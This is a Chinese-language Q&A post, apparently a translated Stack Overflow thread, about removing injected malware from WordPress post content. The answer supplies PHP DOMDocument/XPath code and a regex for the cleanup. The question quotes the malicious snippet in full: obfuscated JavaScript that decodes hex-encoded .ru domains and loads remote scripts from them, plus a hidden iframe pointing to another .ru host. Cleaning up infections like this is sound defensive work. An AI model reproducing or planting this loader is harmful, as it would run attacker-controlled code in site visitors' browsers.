我在worpdress帖子中有一些恶意代码的问题看起来像:

<script>// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("example.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
// ]]></script><iframe id="a1996667054" style="display: none;" src="https://bw95vpjda.ru/f.html"></iframe>

我需要直接从wp_posts.post_content表中删除它。
我想我需要执行一些正则表达式来从post_content行中选择它,并用mysql replace函数替换它。我想我可以用phpmyadmin来完成,或者编写一些phpcode来执行这个操作,但是我仍然需要这个正则表达式来从数据库中选择javascript代码!
提前!

最佳答案

由于您使用的是php脚本,因此可以尝试使用php domdocument和domxpath获取所有出现的恶意<script><iframe>节点。只需使用相应的XPath来获得内容正确的标记,并从DOM中删除所有子项:

$str = "<<YOUR HTML STRING>>";
$dom = new DOMDocument;
@$dom->loadHTML($str, LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);
 // OR @$dom->load($str);
$xp = new DOMXPath($dom);
$mal_scripts = $xp->query('//script[contains(text(), "window.a1336404323")]');
$mal_iframes = $xp->query('//iframe[@id="a1996667054"]');
foreach ($mal_scripts as $mal_script) {
   $mal_script->parentNode->removeChild($mal_script);
}
foreach ($mal_iframes as $mal_iframe) {
   $mal_iframe->parentNode->removeChild($mal_iframe);
}
echo @$dom->saveHTML();

IDEONE demo
与包含恶意代码的字符串匹配的regex可以类似于
<script>\s*\/\/\s*<!\[CDATA\[\s*window\.a1336404323[\s\S*]*?<\/script>\s*<iframe id="a1996667054"[^<>]*><\/iframe>

根据需要调整。

10-05 21:28